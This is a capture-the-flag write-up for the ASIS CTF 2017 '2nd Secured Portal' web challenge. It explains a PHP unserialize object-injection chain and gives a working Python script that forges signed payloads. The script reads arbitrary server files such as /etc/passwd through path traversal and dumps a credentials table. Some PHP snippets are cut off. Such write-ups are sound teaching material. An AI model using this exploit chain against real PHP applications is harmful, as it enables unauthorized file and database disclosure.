title: Asis CTF 2017 - 2nd Secured Portal Write Up author: depierre published: 2017-04-09 categories: Security keywords: asis, ctf, write-up, web, challenge, php, object, injection, unserialize The [Asis CTF](https://asis-ctf.ir/) was taking place this weekend and, although I only looked at two challenges, I really found them interesting and well crafted, especially the second level. The challenges I am talking about are the web Secured Portal and 2nd Secured Portal. ![2nd Secured Portal](/static/images/asis2017/secured_portal2.png) In this write-up, I am covering the second level: 2nd Secured Portal. # Source code From the first Secured Portal level, we downloaded the source code of the challenge: ![2nd Secured Portal Source Code](/static/images/asis2017/source_code.png) After importing the files in a new PHPStorm project, we see that two of them have only contain `DAMAGED`: `authentication.class.php` and `configuration.php`. The first goal would be to read them on the server somehow. Now that we have the secret key `__sessionKey` used in the md5 signature, we could move the signature brute-force client-side to avoid having to send tons of requests to the server: :::python import re import sys import base64 import string import hashlib URL = 'http://46.101.96.182/panel/index' KEY = 'THEKEYISHEREWOW!' SIG = '00000000000000000000000000000000' p = re.compile('0+[eE]\d{4}.*') template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) real_sign = hashlib.md5(OBJ + KEY).hexdigest() if p.match(real_sign[:6]): print('found collision') print(OBJ) print(base64.b64encode(OBJ)) sys.exit(0) At this stage, we fully controlled the data being unserialized and we can therefore [inject any objects](https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf) implementing magic methods (such as `__construct`, `__destruct`, `__toString`) thanks to the call to `unserialize` we spotted in the first level. Going through the different PHP files, we could leverage `logFile.class.php` to read any file on the server. # Read remote files The `log` class implements the `__toString` method that will call the function whose name is specified in the protected attribute `$_method`: :::php hl_lines="8 14" {$this->_method}(); } } ?> If we forge a `log` object with an attribute different than `toString`, we could call any methods. Because `log` is abstract, we cannot use it as-is but the `logFile` class inherits from it! :::php hl_lines="8 21" __logName = $logName; if($this->__logName) return file_get_contents('logs/' . $this->__logName); } /** * submitting new logs on the file * * @param string $logName * @param string $action * @return boolean */ function doLog($logName=null, $action='login'){ $this->__logName = ($logName===null)? time().'.log':$logName; $this->__action = ($action===null)?'Test':$action; if($this->__logName) return file_put_contents('logs/' . $this->__logName, $this->__action); } /** * toString function * * @return string */ function toString(){ return serialize($this); } } ?> Remember, we cannot call arbitrary functions but only methods of the class itself due to the `$this->` in `log.__toString`. However, if we set `_method` to `readLog` and we craft a `logFile` object with the private attribute `__logName` set to the file we want to read on the server, we should be able to read any file. We would have been able to write arbitrary files on the server as well, if only we could have controlled `__action`. Sadly, it is not possible since it can only have the value `Test` or `$action` and because of how our object is called, we cannot control `$action`. So we should serialize the following object to read arbitrary files: :::php true, $l, "foo" => "A"); echo base64_encode(serialize($payload)); # Trigger the exploit One thing is missing though. The method `readLog` will be called only when `__toString` is called. With the payload above, `logFile.__toString` is never called so we must find a way to trigger it. If we look at the `panel.class.php` we can see the following code: :::php hl_lines="18 39" __auth){ echo 'login required'; return false; } /** * setting fullName to anonymous or the real name */ $this->fullName = 'anonymous'; if(@$this->data['title'] == 'mr.' or @$this->data['title'] == 'ms.') { $this->fullName = $this->data['title'] . $this->data['username']; } /** * setting fullName to anonymous or the real name */ if(array_key_exists('contactUs', $_GET)){ if(array_key_exists('message', $_GET)) $message = $_POST['message']; /* * check message validity */ $userCurl = (new userCurl(__SERVER_2, $message))->sendPOST(); /* * printing response to the user */ if($userCurl==='valid') echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>true, 'message'=>'We have received you message, our administrator will be reading your issue as soon as possible')); else echo json_encode(array('name'=>json_encode($this->fullName), 'status'=>false, 'message'=>'It seems the message sent is not in the valid format.', 'error'=>$userCurl)); } } /* . . . */ When requesting `/panel/contact`, we have full control of `$this->data` (thanks to the call to `unserialize`). We therefore control `data['username']`. If you look closely, the username will be concatenated to the title variable in order to create `fullName`. So if username is our injected `logFile` object, `logFile.__toString` will be called when PHP performs the concatenation, and `logFile.readFile` will therefore be called as well. In addition, we can read the result of the concatenation thanks to the call to `json_encode` that will contain `fullname`, which is `title` concatenated with the result of `username.__toString`. All we need to do is request `/panel/contact` with the right parameters. I wrote a small python script that would take the filename as parameter and forge the corresponding PHP object to simplify the search: :::python import re import sys import base64 import string import hashlib import requests URL = 'http://46.101.96.182/panel/contact' KEY = 'THEKEYISHEREWOW!' SIG = '0e462097431906509019562988736854' p = re.compile('0+[eE]\d{4}.*') def do_read(f): # Don't forget the NULL-bytes... template = 'a:4:{s:6:"logged";b:1;s:8:"username";O:7:"logFile":2:{s:18:"\x00logFile\x00__logName";s:' + str(len(f)) + ':"' + f + '";s:10:"\x00*\x00_method";s:7:"readLog";}s:5:"title";s:3:"mr.";s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) real_sign = hashlib.md5(OBJ + KEY).hexdigest() if p.match(real_sign[:6]): r = requests.post(URL, params={'auth': base64.b64encode(OBJ) + SIG}, data={'contactUs':'true','message':'test'}) res = r.text if len(res) != 719: # 719 is the size of an empty answer # Replace to beautify the output print res.replace('\\\\', '\\').replace('\\n', '\n').replace('\\\\', '') sys.exit(0) if __name__ == '__main__': do_read(sys.argv[1]) It can be used to read `/etc/passwd` for instance: :::bash hl_lines="16" $ ./read.py ../../../../../../../etc/passwd Ultra Secured Portal

Ultra Secured Portal

{"name":"\"mr.root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin [. . .] pollinate:x:111:1::/var/cache/pollinate:/bin/false mysql:x:112:116:MySQL Server,,,:/nonexistent:/bin/false \"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}
Now we can download the missing `configuration.php` and `authentication.class.php` PHP files. I also tried to read as many files as possible (e.g. `apache.conf`, `my.cnf`, etc.), hoping to find a clue where the flag would be. Reading them didn't help much, except to know some basic information such as the fact that Apache is running as `www-data`. I attempted to read the MySQL database on-disk using the remote file disclosure but since we are running as `www-data`, it would have been surprising if it was successful. I also attempted to [execute](https://www.exploit-db.com/papers/12886/) some code on the server by abusing `/proc/self/environ` and `/proc/self/fd/`, until I realized that although I could potentially read the result (I couldn't by the way), it would not interpret the injected PHP code since we have `file_get_contents` and not `include`. One thing started to become more and more obvious: we had to read the database somehow. From the configuration file, we have the parameters we need to instantiate the DB: :::php __db->where("username", @$credentials[0])->where("password", md5($credentials[1]))->getOne('credentials'); /* . . . */ However, I couldn't find a way to control the SQL query... Looking at `logDB.class.php`, we have a similar case than with `logFile`. It inherits from `log` and has a `readLog` method that we could call: :::php hl_lines="9" __ID = $id; if($this->__ID) return json_encode($this->__db->where("id", $this->__ID)->getOne('logs')); } /* . . . */ But as we can see, almost everything is hardcoded. We cannot control the table name since it is hardcoded to `logs`. Or can we? To be honest, I was stuck at that point for a couple of hours. I really couldn't see how one could dump the `credentials` table using the `logDB` class. # Down the rabbit hole Let's dive in and check `MysqliDB` class because I don't see any other way. I was curious to know if the author of the challenge modified that class in some way so I downloaded the version from the git repository ([PHP-MySQLi-Database-Class](https://github.com/joshcam/PHP-MySQLi-Database-Class)) and diffed it with the Secured Portal's one: :::bash $ diff MysqliDb.class.php.master MysqliDb.class.php # . . . 615a617,618 > //var_dump($this->_query); > # . . . Not many differences. Most of them are indentation-related but one seemed interesting. The author added a call to `var_dump` in the method `MysqliDB.get` and commented it. We surely are on the right track so let's follow the execution flow from the beginning: + unserialize(payload) + payload.__toString() + logDB.readLog() + MysqliDB.where() + ... + MysqliDB.getOne() + MysqliDB.get() + MysqliDB._buildQuery() + mysqli()->execute() There is something very interesting in the `get` function: :::php hl_lines="26" _tableName = self::$prefix . $tableName; } else { $this->_tableName = $tableName; } $this->_query = 'SELECT ' . implode(' ', $this->_queryOptions) . ' ' . $column . " FROM " . $this->_tableName; $stmt = $this->_buildQuery($numRows); //var_dump($this->_query); if ($this->isSubQuery) { return $this; } $stmt->execute(); $this->_stmtError = $stmt->error; $this->_stmtErrno = $stmt->errno; $res = $this->_dynamicBindResults($stmt); $this->reset(); return $res; } Right before the call to `_buildQuery`, `MysqliDB` checks if there are any query options specified. What's really interesting is that `_queryOptions` is an attribute of `MysqliDB`: :::php true, "username" => $l, "title" => "mr.", "foo" => "A"); echo serialize($payload); Which yields the following serialized object: :::php Ultra Secured Portal

Ultra Secured Portal

{"name":"\"mr.{"id":1,"title":"mr.","username":"ultraS3cur3Us3r","password":"8dbdda48fb8748d6746f1965824e966a","secret":"fl4giSher3.class.php"}\"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}
There is a secret file `fl4giSher3.class.php` listed in the `secret` column. We can use our previous remote file disclosure exploit to dump it: :::bash hl_lines="20" $ ./read.py ../classes/fl4giSher3.class.php Ultra Secured Portal

Ultra Secured Portal

{"name":"\"mr. \"","status":false,"message":"It seems the message sent is not in the valid format.","error":"error detected in Markup declaration"}
Second level validated! \o/ # Closing word I mentioned in the introduction that I found the two-steps challenge very interesting and well crafted and I wanted to develop why, just a little bit. First, what annoys everybody in CTFs are guessing challenges, where you have a step somewhere where you get stuck simply because you didn't think of reading the file `index.php.old.bak` for instance. Sure, for Secured Portal I spent a couple of hours trying to read random files on the server but it's only because I was too stupid and didn't want to accept that fact that reading arbitrary file was not *good enough*. From the beginning, you had all the clues you needed to find the solution: + The `.idea` directory could easily be deduced from the description of the challenge and the mention of `PHPStorm` in the comments in the files. Simply downloading `PHPStorm` and creating a dummy project was enough to find the `/.idea/workspace.xml` file. + The hidden clues such as having some files replace with `DAMAGED` would help you get the database information you needed in order to dump the tables. You didn't have to guess the table, the credentials or anything of the connection parameters, since you understood that you needed to recover those files. + Finally, the insightful commented `var_dumps` line to help focus on where to look, which was a smart clue. *Too bad they spoiled it a bit, by adding a HINT to the challenge description though... it was not necessary IMO* Second, it was an interesting chain of exploits. In some CTF web challenges, you would need to exploit a single SQL injection and you would have two scenarios. Either it's stupidly stupid (like `' or 1=1;--`) or it's pure guessing (with obscure filters, restrictions, etc.). In Secured Portal, it was a chain of exploits where you had all the elements you needed to build and chain each step. Also you couldn't simply copy-paste an exploit from the web after googling `php serialize exploit`. You really had to fully understand your exploit and the POP chain you were building in order be able to read files, but also dump the database. Both combined, you had something challenging that did not rely on guessing. **This**, is how CTF web challenges should be crafted. Kudos to the author(s)!